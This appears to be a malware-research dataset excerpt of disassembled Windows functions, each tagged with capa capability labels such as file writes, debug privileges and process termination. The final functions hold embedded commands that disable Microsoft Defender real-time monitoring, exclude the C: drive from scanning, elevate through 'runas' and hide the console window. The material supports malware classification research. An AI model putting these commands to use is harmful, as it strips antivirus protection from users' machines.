joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1800014c0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
sub rsp, 0x1d0
mov rax, qword [0x180013008]
xor rax, rsp
mov qword [rsp + 0x1c0], rax
mov rdi, rcx
mov ecx, 0x1f4
mov rsi, rdx
call fcn.1800025a0
mov rcx, qword [rdi]
lea rdx, [rsp + 0x180]
mov r12, rax
xor eax, eax
mov byte [rsp + 0x38], 2
mov qword [rsp + 0x180], rax
mov qword [rsp + 0x188], rax
mov qword [rsp + 0x190], rax
mov qword [rsp + 0x198], rax
mov qword [rsp + 0x1a0], rax
mov qword [rsp + 0x1a8], rax
mov qword [rsp + 0x1b0], rax
mov qword [rsp + 0x1b8], rax
mov rax, qword [rdi + 8]
mov qword [rdx], rcx
mov qword [rdx + 8], rax
mov rax, qword [rdi + 0x10]
mov qword [rdx + 0x10], rax
mov rax, qword [rdi + 0x18]
mov byte [rsp + 0x39], 0
lea rdi, [rsp + 0x44]
lea rbx, [rsp + 0x180]
mov ebp, 4
mov qword [rdx + 0x18], rax
nop
nop
nop
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x34]
mov rcx, rbx
call fcn.180001230
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x34]
lea rcx, [0x180015360]
call fcn.180001040
mov edx, dword [rsp + 0x34]
mov eax, dword [rsp + 0x30]
mov dword [rdi - 4], edx
mov dword [rdi], eax
add rdi, 8
add rbx, 8
sub rbp, 1
jne 0x180001590
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rsi
repne scasb al, byte [rdi]
not rcx
mov rbx, rcx
shr rbx, 3
test ebx, ebx
js 0x180001643
lea rdi, [rsp + 0x84]
lea ebp, [rbx + 1]
nop
nop
nop
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x34]
mov rcx, rsi
call fcn.180001230
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x34]
lea rcx, [0x180015360]
call fcn.180001040
mov edx, dword [rsp + 0x34]
mov eax, dword [rsp + 0x30]
mov dword [rdi - 4], edx
mov dword [rdi], eax
add rdi, 8
add rsi, 8
sub rbp, 1
jne 0x180001600
add bl, 1
xor edx, edx
mov r8d, 0x1f4
mov rcx, r12
mov byte [rsp + 0x3a], bl
call fcn.1800023a0
lea rcx, [rsp + 0x38]
lea rdx, [rsp + 0x40]
movzx eax, word [rcx]
mov r8d, 0x140
mov word [r12], ax
movzx eax, byte [rcx + 2]
lea rcx, [r12 + 3]
mov byte [r12 + 2], al
call fcn.180002680
mov rcx, qword [0x180014518]
test rcx, rcx
je 0x1800016c6
cmp rcx, 0xffffffffffffffff
je 0x1800016c6
lea r9, [rsp + 0x3c]
mov r8d, 0x143
mov rdx, r12
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, qword [0x180014518]
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
call fcn.1800012f0
mov rcx, r12
call fcn.180002490
mov rcx, qword [rsp + 0x1c0]
xor rcx, rsp
call fcn.180002370
lea r11, [rsp + 0x1d0]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r12
ret

Function at 0x180001700
Capabilities:
Write file on windows

Disassembly:
sub rsp, 0x38
mov rcx, qword [0x180014518]
mov byte [rsp + 0x40], 0
mov byte [rsp + 0x41], 0
test rcx, rcx
mov byte [rsp + 0x42], 0
je 0x18000175e
cmp rcx, 0xffffffffffffffff
je 0x18000175e
lea r9, [rsp + 0x48]
lea rdx, [rsp + 0x40]
mov r8d, 3
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, qword [0x180014518]
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov rcx, qword [0x180014518]
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
add rsp, 0x38
ret
Function at 0x180002160
Capabilities:
Acquire debug privileges

Disassembly:
push rbx
sub rsp, 0x40
xor ebx, ebx
mov qword [rsp + 0x50], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x50]
lea edx, [rbx + 0x20]
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1800021d3
lea r8, [rsp + 0x34]
lea rdx, str.SeDebugPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x1800021d3
mov rcx, qword [rsp + 0x50]
lea r8, [rsp + 0x30]
xor r9d, r9d
xor edx, edx
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x3c], 2
mov dword [rsp + 0x30], 1
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x1800021e9
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.PT_failed:__d_n
mov edx, eax
mov ebx, eax
call fcn.180001350
mov rcx, qword [rsp + 0x50]
test rcx, rcx
je 0x1800021f9
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
add rsp, 0x40
pop rbx
ret
Function at 0x1800029f0
Capabilities:
Accept command line arguments

Disassembly:
push rbx
sub rsp, 0x20
cmp edx, 1
mov rbx, r8
jne 0x180002b57
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
xor edx, edx
mov r8d, 0x94
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
mov rbx, rax
je 0x180002a48
mov rcx, rax
mov dword [rax], 0x94
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x180002a50
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
xor eax, eax
add rsp, 0x20
pop rbx
ret
mov qword [rsp + 0x30], rbp
mov ebp, dword [rbx + 8]
mov qword [rsp + 0x38], rsi
mov esi, dword [rbx + 4]
mov qword [rsp + 0x40], rdi
mov edi, dword [rbx + 0xc]
mov qword [rsp + 0x48], r12
mov r12d, dword [rbx + 0x10]
and edi, 0x7fff
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp r12d, 2
je 0x180002a95
bts edi, 0xf
mov eax, esi
mov ecx, 1
mov dword [0x180014acc], r12d
shl eax, 8
mov dword [0x180014ad8], esi
mov dword [0x180014adc], ebp
add eax, ebp
mov dword [0x180014ad0], edi
mov dword [0x180014ad4], eax
call fcn.180004530
mov r12, qword [rsp + 0x48]
test eax, eax
mov rdi, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x30]
je 0x180002a48
call fcn.180005750
test eax, eax
je 0x180002b4a
call fcn.180006430
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [0x180017610], rax
call fcn.180006260
mov qword [0x180014530], rax
call fcn.180005a00
test eax, eax
js 0x180002b45
call fcn.180006150
test eax, eax
js 0x180002b40
call fcn.180005dc0
test eax, eax
js 0x180002b40
xor ecx, ecx
call fcn.180004730
test eax, eax
jne 0x180002b40
add dword [0x180014528], 1
mov eax, 1
add rsp, 0x20
pop rbx
ret
call fcn.180005d30
call fcn.180005270
call fcn.180004590
xor eax, eax
add rsp, 0x20
pop rbx
ret
test edx, edx
jne 0x180002ba0
mov eax, dword [0x180014528]
test eax, eax
jle 0x180002a48
sub eax, 1
cmp dword [0x180014b28], edx
mov dword [0x180014528], eax
jne 0x180002b7f
call fcn.180004950
test rbx, rbx
jne 0x180002c19
call fcn.180005d30
call fcn.180005270
call fcn.180004590
lea eax, [rbx + 1]
add rsp, 0x20
pop rbx
ret
cmp edx, 2
jne 0x180002c0d
call fcn.180005260
mov edx, 0x2d8
mov ecx, 1
call fcn.1800058e0
test rax, rax
mov rbx, rax
je 0x180002a48
mov ecx, dword [0x180013320]
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_FlsSetValue]
test eax, eax
je 0x180002bfd
xor edx, edx
mov rcx, rbx
call fcn.1800052c0
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov qword [rbx + 8], 0xffffffffffffffff
mov dword [rbx], eax
mov eax, 1
add rsp, 0x20
pop rbx
ret
mov rcx, rbx
call fcn.180002490
xor eax, eax
add rsp, 0x20
pop rbx
ret
cmp edx, 3
jne 0x180002c19
xor ecx, ecx
call fcn.1800056f0
mov eax, 1
add rsp, 0x20
pop rbx
ret
Function at 0x180004190
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x5b0
mov rbp, rcx
mov rcx, qword [0x180014548]
mov ebx, r9d
mov rdi, r8
mov rsi, rdx
call fcn.180005190
test rax, rax
je 0x1800041e4
mov r10, qword [rsp + 0x5e0]
mov r9d, ebx
mov r8, rdi
mov rdx, rsi
mov rcx, rbp
mov qword [rsp + 0x20], r10
call rax
jmp 0x180004279
mov ecx, 2
call fcn.180008b80
lea rcx, [rsp + 0xe0]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
lea rcx, [rsp + 0x40]
xor edx, edx
mov r8d, 0x98
call fcn.1800023a0
mov rax, qword [rsp + 0x5b8]
mov dword [rsp + 0x40], 0xc000000d
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x38], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
xor ecx, ecx
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
test eax, eax
jne 0x180004265
test ebx, ebx
jne 0x180004265
lea ecx, [rax + 2]
call fcn.180008b80
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc000000d
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
lea r11, [rsp + 0x5b0]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret

Function at 0x180004487
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x180013008]
jne 0x18000238a
rol rcx, 0x10
test cx, 0xffff
jne 0x180002386
repz ret
ror rcx, 0x10
jmp 0x1800043e0
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x1800145f0]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x1800146e8]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x180004465
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x1800145f0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x180004487
mov rax, qword [rsp + 0x88]
mov qword [0x1800146e8], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x180014688], rax
mov rax, qword [0x1800146e8]
mov qword [0x180014560], rax
mov rax, qword [rsp + 0x90]
mov qword [0x180014670], rax
mov dword [0x180014550], 0xc0000409
mov dword [0x180014554], 1
mov rax, qword [0x180013008]
mov qword [rsp + 0x68], rax
mov rax, qword [0x180013010]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x1800145e8], eax
mov ecx, 1
call fcn.180008b80
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x18000f680]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x1800145e8], 0
jne 0x18000450e
mov ecx, 1
call fcn.180008b80
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x1800049d0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rsi
push rdi
push r12
sub rsp, 0x30
lea r12, [0x1800131b0]
xor esi, esi
mov edi, ecx
mov rax, r12
mov ebx, esi
nop
cmp ecx, dword [rax]
je 0x180004a0e
add ebx, 1
add rax, 0x10
cmp ebx, 0x17
jb 0x1800049f0
mov rbx, qword [rsp + 0x60]
add rsp, 0x30
pop r12
pop rdi
pop rsi
ret
cmp ebx, 0x17
jae 0x180004bf5
mov ecx, 3
call fcn.180009a70
cmp eax, 1
je 0x180004bac
mov ecx, 3
call fcn.180009a70
test eax, eax
jne 0x180004a45
cmp dword [0x180014540], 1
je 0x180004bac
cmp edi, 0xfc
je 0x180004bf5
mov qword [rsp + 0x50], rbp
lea rbp, [0x180014b30]
lea r8, str.Runtime_Error__n_nProgram:
mov rcx, rbp
mov edx, 0x314
call fcn.1800099c0
test eax, eax
je 0x180004a89
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rsi
call fcn.1800040f0
lea rdx, [0x180014b49]
mov r8d, 0x104
xor ecx, ecx
mov byte [0x180014c4d], sil
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x180004ad9
lea r8, str._program_name_unknown_
lea rcx, [0x180014b49]
mov edx, 0x2fb
call fcn.1800099c0
test eax, eax
je 0x180004ad9
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rsi
call fcn.1800040f0
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [0x180014b49]
repne scasb al, byte [rdi]
not rcx
cmp rcx, 0x3c
jbe 0x180004b28
lea rcx, [rcx + rbp - 0x23]
lea rdx, [0x180014e44]
lea r9d, [rax + 3]
lea r8, [0x18000fc64]
sub rdx, rcx
call fcn.1800098a0
test eax, eax
je 0x180004b28
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rsi
call fcn.1800040f0
lea r8, [0x18000fc60]
mov edx, 0x314
mov rcx, rbp
call fcn.1800097e0
test eax, eax
je 0x180004b54
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rsi
call fcn.1800040f0
movsxd r8, ebx
mov edx, 0x314
mov rcx, rbp
add r8, r8
mov r8, qword [r12 + r8*8 + 8]
call fcn.1800097e0
test eax, eax
je 0x180004b84
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rsi
call fcn.1800040f0
lea rdx, str.Microsoft_Visual_C_Runtime_Library
mov r8d, 0x12010
mov rcx, rbp
call fcn.180009580
mov rbp, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x60]
add rsp, 0x30
pop r12
pop rdi
pop rsi
ret
mov ecx, 0xfffffff4
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
test rax, rax
mov r11, rax
je 0x180004bf5
cmp rax, 0xffffffffffffffff
je 0x180004bf5
xor eax, eax
movsxd rcx, ebx
lea r9, [rsp + 0x58]
add rcx, rcx
mov qword [rsp + 0x20], rsi
mov rdx, qword [r12 + rcx*8 + 8]
or rcx, 0xffffffffffffffff
mov rdi, rdx
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
mov rcx, r11
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rbx, qword [rsp + 0x60]
add rsp, 0x30
pop r12
pop rdi
pop rsi
ret
Function at 0x180004c10
Capabilities:
Write file on windows

Disassembly:
sub rsp, 0x38
mov ecx, 3
call fcn.180009a70
cmp eax, 1
je 0x180004c42
mov ecx, 3
call fcn.180009a70
test eax, eax
jne 0x180004cf6
cmp dword [0x180014540], 1
jne 0x180004cf6
mov qword [rsp + 0x48], rbx
lea rbx, [0x1800131b0]
mov qword [rsp + 0x30], rdi
mov rax, rbx
xor edi, edi
cmp dword [rax], 0xfc
je 0x180004c6e
add edi, 1
add rax, 0x10
cmp edi, 0x17
jb 0x180004c58
jmp 0x180004ce2
cmp edi, 0x17
jae 0x180004ce2
mov ecx, 3
call fcn.180009a70
cmp eax, 1
je 0x180004c99
mov ecx, 3
call fcn.180009a70
test eax, eax
jne 0x180004ce2
cmp dword [0x180014540], 1
jne 0x180004ce2
mov ecx, 0xfffffff4
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
test rax, rax
mov r11, rax
je 0x180004ce2
cmp rax, 0xffffffffffffffff
je 0x180004ce2
movsxd rcx, edi
xor eax, eax
lea r9, [rsp + 0x40]
add rcx, rcx
mov qword [rsp + 0x20], rax
mov rdx, qword [rbx + rcx*8 + 8]
or rcx, 0xffffffffffffffff
mov rdi, rdx
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
mov rcx, r11
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, 0xff
call fcn.1800049d0
mov rdi, qword [rsp + 0x30]
mov rbx, qword [rsp + 0x48]
add rsp, 0x38
ret
Function at 0x180006260
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x40
mov eax, dword [0x180014f68]
test eax, eax
jne 0x1800062b3
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
test rax, rax
mov rdi, rax
je 0x180006293
mov dword [0x180014f68], 1
jmp 0x1800062ce
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x78
jne 0x1800062ad
mov dword [0x180014f68], 2
jmp 0x1800063a9
mov eax, dword [0x180014f68]
cmp eax, 1
jne 0x1800063a0
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
test rax, rax
mov rdi, rax
je 0x1800063f3
cmp word [rdi], 0
mov qword [rsp + 0x50], rbp
mov rbx, rdi
mov qword [rsp + 0x58], r12
je 0x1800062f5
add rbx, 2
cmp word [rbx], 0
jne 0x1800062e1
add rbx, 2
cmp word [rbx], 0
jne 0x1800062e1
xor r12d, r12d
sub rbx, rdi
mov r8, rdi
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
sar rbx, 1
lea r9d, [rbx + 1]
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
test eax, eax
movsxd rbp, eax
je 0x180006393
mov rcx, rbp
call fcn.180005870
test rax, rax
mov rsi, rax
je 0x180006393
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
lea r9d, [rbx + 1]
mov r8, rdi
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x28], ebp
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
test eax, eax
jne 0x18000636d
mov rcx, rsi
call fcn.180002490
mov rsi, r12
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbp, qword [rsp + 0x50]
mov r12, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x40
pop rdi
ret
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x180006379
cmp eax, 2
je 0x1800063a9
test eax, eax
jne 0x1800063f3
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
test rax, rax
mov rbx, rax
je 0x1800063f3
cmp byte [rax], 0
je 0x1800063d2
nop
add rax, 1
cmp byte [rax], 0
jne 0x1800063c0
add rax, 1
cmp byte [rax], 0
jne 0x1800063c0
sub eax, ebx
add eax, 1
movsxd rsi, eax
mov rcx, rsi
call fcn.180005870
test rax, rax
mov rdi, rax
jne 0x180006405
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
xor eax, eax
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x40
pop rdi
ret
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.180002680
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
mov rax, rdi
add rsp, 0x40
pop rdi
ret
Function at 0x180009580
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
push rsi
push rdi
push r13
push r14
sub rsp, 0x50
mov edi, r8d
mov r13, rdx
mov r14, rcx
call fcn.1800050a0
xor ebx, ebx
cmp qword [0x180015240], rbx
mov rbp, rax
mov dword [rsp + 0x98], ebx
mov dword [rsp + 0x30], ebx
jne 0x1800096ac
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
mov rsi, rax
je 0x1800097bf
lea rdx, str.MessageBoxA
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1800097bf
mov rcx, rax
call fcn.180004fd0
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x180015240], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.180004fd0
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x180015248], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.180004fd0
lea rcx, [rsp + 0x98]
mov qword [0x180015250], rax
call fcn.180004690
test eax, eax
je 0x18000965f
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rbx
call fcn.1800040f0
cmp dword [rsp + 0x98], 2
jne 0x1800096ac
lea rdx, str.GetUserObjectInformationA
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.180004fd0
test rax, rax
mov qword [0x180015260], rax
je 0x1800096ac
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.180004fd0
mov qword [0x180015258], rax
mov rcx, qword [0x180015258]
mov qword [rsp + 0x80], r12
cmp rcx, rbp
je 0x180009758
cmp qword [0x180015260], rbp
je 0x180009758
call fcn.180005190
mov rcx, qword [0x180015260]
mov rsi, rax
call fcn.180005190
test rsi, rsi
mov r12, rax
je 0x180009758
test rax, rax
je 0x180009758
call rsi
test rax, rax
je 0x180009723
lea rcx, [rsp + 0x34]
mov r9d, 0xc
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x180009723
test byte [rsp + 0x40], 1
jne 0x180009758
lea rcx, [rsp + 0x30]
call fcn.1800046e0
test eax, eax
je 0x180009745
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rbx
call fcn.1800040f0
cmp dword [rsp + 0x30], 4
jb 0x180009752
bts edi, 0x15
jmp 0x180009796
bts edi, 0x12
jmp 0x180009796
mov rcx, qword [0x180015248]
cmp rcx, rbp
je 0x180009796
call fcn.180005190
test rax, rax
je 0x180009796
call rax
test rax, rax
mov rbx, rax
je 0x180009796
mov rcx, qword [0x180015250]
cmp rcx, rbp
je 0x180009796
call fcn.180005190
test rax, rax
je 0x180009796
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x180015240]
call fcn.180005190
mov r12, qword [rsp + 0x80]
test rax, rax
je 0x1800097bf
mov r9d, edi
mov r8, r13
mov rdx, r14
mov rcx, rbx
call rax
jmp 0x1800097c1
xor eax, eax
mov rbx, qword [rsp + 0x88]
add rsp, 0x50
pop r14
pop r13
pop rdi
pop rsi
pop rbp
ret
Function at 0x18000cfc0
Capabilities:
Get geographical location

Disassembly:
sub rsp, 0x38
mov rax, qword [0x180013008]
xor rax, rsp
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x20]
mov r9d, 6
mov edx, 0x1004
mov byte [rsp + 0x26], 0
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
test eax, eax
jne 0x18000d007
or eax, 0xffffffff
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.180002370
add rsp, 0x38
ret
lea rcx, [rsp + 0x20]
call fcn.18000d2c0
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.180002370
add rsp, 0x38
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x140008670]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x140008680]
mov dword [rax], 1
mov rax, qword [0x140008690]
mov dword [rax], 1
mov rax, qword [0x1400085f0]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x140008660]
mov dword [0x14000c00c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x140008730]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x140008710]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x1400085b0]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a

Function at 0x140001dd3
Capabilities:
Execute command

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
lea rax, str.powershell__Command__Set_MpPreference__DisableRealtimeMonitoring__true_
mov rcx, rax
call sym.system
lea rax, str.powershell__Command__Add_MpPreference__ExclusionPath_C:_
mov rcx, rax
call sym.system
nop
add rsp, 0x20
pop rbp
ret

Function at 0x140001e00
Capabilities:
Create process on windows

Disassembly:
push rbp
push rdi
sub rsp, 0x98
lea rbp, [rsp + 0x90]
lea rdx, [rbp - 0x70]
mov eax, 0
mov ecx, 0xe
mov rdi, rdx
rep stosq qword [rdi], rax
mov dword [rbp - 0x70], 0x70
lea rax, str.runas
mov qword [rbp - 0x60], rax
lea rax, str.C:WindowsSystem32cmd.exe
mov qword [rbp - 0x58], rax
lea rax, str._c_powershell_Start_Process__Verb_runAs_cmd.exe__ArgumentList__c_Set_MpPreference__DisableRealtimeMonitoring__true
mov qword [rbp - 0x50], rax
mov dword [rbp - 0x6c], 0x140
lea rax, [rbp - 0x70]
mov rcx, rax
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteExA]
call rax
mov rax, qword [rbp - 8]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
nop
add rsp, 0x98
pop rdi
pop rbp
ret

Function at 0x140001e94
Capabilities:
Hide graphical window

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
nop
add rsp, 0x30
pop rbp
ret